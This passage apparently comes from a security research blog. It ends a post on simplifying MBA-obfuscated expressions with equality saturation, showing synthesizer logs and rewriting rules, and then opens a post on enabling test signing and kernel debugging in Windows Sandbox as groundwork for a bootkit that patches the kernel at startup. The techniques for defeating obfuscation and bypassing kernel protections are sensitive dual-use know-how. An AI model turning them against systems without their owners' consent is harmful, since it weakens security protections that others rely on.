da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 3840
Synthesized (cost = 1217): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((0x809e2c000000000*((y^x)-y))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*(y*((y^x)-y)))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 24289
Synthesized (cost = 391): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+((y^x)*((0x6b02c22000000000*(y^x))+((x*y)*0x4108466000000000))))+(((x*y)*((0xb0c634c800000000*(x*y))+((x|y)*0x82108cc000000000)))+((((x|y)*0xac0b088000000000)*((y^x)+(x|y)))+(((y^x)*((((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000))*(y^x))+((x|y)*(((y^x)*0x22b948000000000)+((x*y)*0x682bd8000000000)))))+(((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+0x5bfeed000000000)+(((((x|y)*(((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y)))+((((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y)))*(x|y))))+(((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y)))))+((((((y^x)*(y^x))*0x70402d7000000000)+((x|y)*(((y^x)*0xc100b5c000000000)+(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))))+((y^x)*0xdab01d3000000000))+(0x1077765721e75952+(((x*y)*0xc8082bc800000000)+(((((x|y)*0xb5603a6000000000)+(((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000))))+(((y^x)*(y^x))*0x24bd107000000000))+((((x*y)*((((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000))*(x*y))+(((y^x)+(x|y))*((x|y)*0xf97d428000000000))))+(((x|y)*(((((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y)))*(x|y))+(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))))))))))))))))))
====================================================================================================
eclasses #: 475200
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 161
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 321
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 896
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 4225
Synthesized (cost = 153): (0x820278b000000000+((((((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))+(((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((0x6d8610f8de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))+(((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))))+((0x1077765721e75952+((y^x)*0xdab01d3000000000))+(((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000)))))
====================================================================================================
eclasses #: 41016
Synthesized (cost = 115): (((0x820278b000000000+((0xac0b088000000000*((y^x)+(x|y)))*(x|y)))+(((((((x|y)*0xaf7f898000000000)+((0x5bfeed000000000+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))+(0x5a353ef000000000*(y^x))))+(((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))+((((x|y)*0x92f441c000000000)+0xf35adf2000000002)*(y^x))))+0x67c62228de18a6ae)+(((0x1077765721e75952+((y^x)*0xdab01d3000000000))+((x*y)*0xc8082bc800000000))+((0xb5603a6000000000+(0xc100b5c000000000*((y^x)+(x|y))))*(x|y))))+(0xed084eb000000003*(x*y))))+(((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000)))
====================================================================================================
eclasses #: 757557
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
e-graph reset done.
====================================================================================================
eclasses #: 80
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 151
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 347
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 1045
Synthesized (cost = 41): (((((y^x)*0xca520e000000000)+((((0xb5603a6000000000*(x|y))+((x*y)*0xb5107a7800000003))+(0xe6b5be4000000004*(x|y)))+(0xf35adf2000000002*(y^x))))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 4864
Synthesized (cost = 29): ((((0x2*(y^x))+(((x|y)*0x9c15f8a000000004)+((x*y)*0xb5107a7800000003)))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 46118
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
e-graph reset done.
====================================================================================================
eclasses #: 22
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 34
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 63
Synthesized (cost = 25): ((((0x2*(y^x))+((x|y)*0x63ea076000000000))+(y*(x+(0x2*x))))+((x|y)*0x9c15f8a000000004))
====================================================================================================
eclasses #: 130
Synthesized (cost = 17): (((0x2*(y^x))+((x|y)*0x4))+(0x3*(x*y)))
====================================================================================================

Limitations

The rewriting rules used in the minimal proof of concept already proved to be good candidates in many tests, but it is possible to observe expressions which have only been partially simplified when equality saturation and QSynthesis are being applied without any form of sub-expression normalization due to MBA-Blast. Similar issues can be noticed when expressions involving constants (in their pre-obfuscation form) are not processed with the constant oracle or via constant harvesting. The constant oracle itself is hindered by edge cases where the restriction to a smaller I/O bitwidth is not sufficient to obtain a small set of templates to be fed to CEGIS.

From an implementation point of view, the current Python script suffers from heavy performance issues when the e-graph size gets too large, therefore requiring early resets that are inevitably going to discard valuable information that could instead lead to better results. Crucial phases like the e-graph matching and the subsequent cost computation could be rewritten to use clever algorithms and aggressive caching.

Finally, a well known problem with the “quality” of the I/O samples is still present; in fact, they may not be sufficient to drive the synthesis in the right direction, leading to the insertion of wrong knowledge in the e-graph and, consequently, to wrong results. The problem can be contained enabling the formal verification of all the equivalences, at the cost of an additional slowdown.

Conclusion

The tip of the iceberg of what can be done when combining equality saturation and program synthesis has been barely scratched. Our feeling is that rewriting the proof of concept in a faster language and with better algorithms could lead to further improvements. On top of that, the following opportunities might be exciting future work:

  • Given one or more e-graphs grown during the synthesis process, a tool like Ruler could be used to infer the minimal set of rewriting rules originally computed to apply the MBA obfuscation.
  • One of the limitations hinted at in the MBA-Blast publication is determining which base is going to lead to the best results, so equality saturation could be employed to enrich the e-graph with sub-expressions simplified via a set of different basis and finally extract the minimal representation.
  • Find ways to reliably detect if an expression requires the constants oracle (slow), constants harvesting (medium) or just term rewriting (fast) to be fully synthesized could be beneficial for the performance.
  • Incremental learning has the desirable side effect of reducing the amount of e-classes in the e-graph, so less time is spent during cost computation, although the amount of e-nodes is not affected, meaning that during the matching phase a heavy slowdown is noticeable. Incremental matching or parallelization efforts could be viable paths to speed up the process.

The current Python PoC can be found on GitHub. It is a monolithic slow script that has just been used to experiment with the documented ideas and it will be properly rewritten in a faster language in the upcoming months.

Acknowledgements

  • Matteo Favaro and Tim Blazytko: Matteo and Tim researched the limitations of common MBA deobfuscation approaches and discussed methods to improve them, including the combination of QSynthesis with equality saturation. Matteo designed, implemented, evaluated and documented the attacks presented in the blog post. Tim provided useful insights, generated challenging MBA tests and helped in writing the post.

Additionally, we would like to thank:

  • Fabrizio Biondi, for the discussions about combining multiple techniques to drive the simplification efforts and on using the information inherently present in the structure of the obfuscated code.
  • Gianluca Pericoli, for galois_is_sexy and the time spent together generating MBAs and attacking their linear and polynomial representations.
  • Max Willsey et al., authors of egg: Fast and Extensible Equality Saturation, for providing a good understanding of the topic.
  • Duk, Duncan Ogilvie and Justas Masiulis for reviewing and improving the blog post.

Appendix

The rewriting rules used by the proof of concept follow. They are by no means complete and have just been empirically selected during the experiments.

(x * y)               ->   (y * x)
(x + y)               ->   (y + x)
(x & y)               ->   (y & x)
(x ^ y)               ->   (y ^ x)
(x | y)               ->   (y | x)
(x * (y * z))         ->   ((x * y) * z)
(x + (y + z))         ->   ((x + y) + z)
(x & (y & z))         ->   ((x & y) & z)
(x ^ (y ^ z))         ->   ((x ^ y) ^ z)
(x | (y | z))         ->   ((x | y) | z)
~(x * y)              ->   ((~x * y) + (y - 1))
~(x + y)              ->   (~x + (~y + 1))
~(x - y)              ->   (~x - (~y + 1))
~(x & y)              ->   (~x | ~y)
~(x ^ y)              ->   ((x & y) | ~(x | y))
~(x | y)              ->   (~x & ~y)
-(x * y)              ->   (-x * y)
(-x * y)              ->   -(x * y)
(x - y)               ->   (x + (-y))
(x + (-y))            ->   (x - y)
-x                    ->   (~x + 1)
(~x + 1)              ->   -x
((x + y) * z)         ->   ((x * z) + (y * z))
((x - y) * z)         ->   ((x * z) - (y * z))
((x * y) + (x * z))   ->   (x * (y + z))
((x * y) - (x * z))   ->   (x * (y - z))
((x * y) + y)         ->   ((x + 1) * y)
(x + x)               ->   (2 * x)
-(x + y)              ->   ((-x) + (-y))

Bootkitting Windows Sandbox

29 August 2022 at 23:00

Introduction & Motivation

Windows Sandbox is a feature that Microsoft added to Windows back in May 2019. As Microsoft puts it:

Windows Sandbox provides a lightweight desktop environment to safely run applications in isolation. Software installed inside the Windows Sandbox environment remains “sandboxed” and runs separately from the host machine.

The startup is usually very fast and the user experience is great. You can configure it with a .wsb file and then double click that file to start a clean VM.

The sandbox can be useful for malware analysis and as we will show in this article, it can also be used for kernel research and driver development. We will take things a step further though and share how we can intercept the boot process and patch the kernel during startup with a bootkit.

TLDR: Visit the SandboxBootkit repository to try out the bootkit for yourself.

Windows Sandbox for driver development

A few years back Jonas L tweeted about the undocumented command CmDiag. It turns out that it is almost trivial to enable test signing and kernel debugging in the sandbox (this part was copied straight from my StackOverflow answer).

First you need to enable development mode (everything needs to be run from an Administrator command prompt):

CmDiag DevelopmentMode -On

Then enable network debugging (you can see additional options with CmDiag Debug):

CmDiag Debug -On -Net

This should give you the connection string:

Debugging successfully enabled.

Connection string: -k net:port=50100,key=cl.ea.rt.ext,target=<ContainerHostIp> -v

Now start WinDbg and connect to 127.0.0.1:

windbg.exe -k net:port=50100,key=cl.ea.rt.ext,target=127.0.0.1 -v

Then you start Windows Sandbox and it should connect:

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Using NET for debugging
Opened WinSock 2.0
Using IPv4 only.
Waiting to reconnect...
Connected to target 127.0.0.1 on port 50100 on local IP <xxx.xxx.xxx.xxx>.
You can get the target MAC address by running .kdtargetmac command.
Connected to Windows 10 19041 x64 target at (Sun Aug  7 10:32:11.311 2022 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.

Now in order to load your driver you have to copy it into the sandbox and you can use sc create and sc start to run it. Obviously most device drivers will not work/freeze the VM but this can certainly be helpful for research.

The downside of course is that you need to do quite a bit of manual work and this is not exactly a smooth development experience. Likely you can improve it with the <MappedFolder> and <LogonCommand> options in your .wsb file.

PatchGuard & DSE

Running Windows Sandbox with a debugger attached will disable PatchGuard and with test signing enabled you can run your own kernel code. Attaching a debugger every time is not ideal though. Startup times are increased by a lot and software might detect kernel debugging and refuse to run. Additionally it seems that the network connection is not necessarily stable across host reboots and you need to restart WinDbg every time to attach the debugger to the sandbox.

Tooling similar to EfiGuard would be ideal for our purposes and in the rest of the post we will look at implementing our own bootkit with equivalent functionality.

Windows Sandbox internals recap

Back in March 2021 a great article called Playing in the (Windows) Sandbox came out. This article has a lot of information about the internals and a lot of the information below comes from there. Another good resource is Microsoft’s official Windows Sandbox architecture page.

Windows Sandbox uses VHDx layering and NTFS magic to allow the VM to be extremely lightweight. Most of the system files are actually NTFS reparse points that point to the host file system. For our purposes the relevant file is BaseLayer.vhdx (more details in the references above).

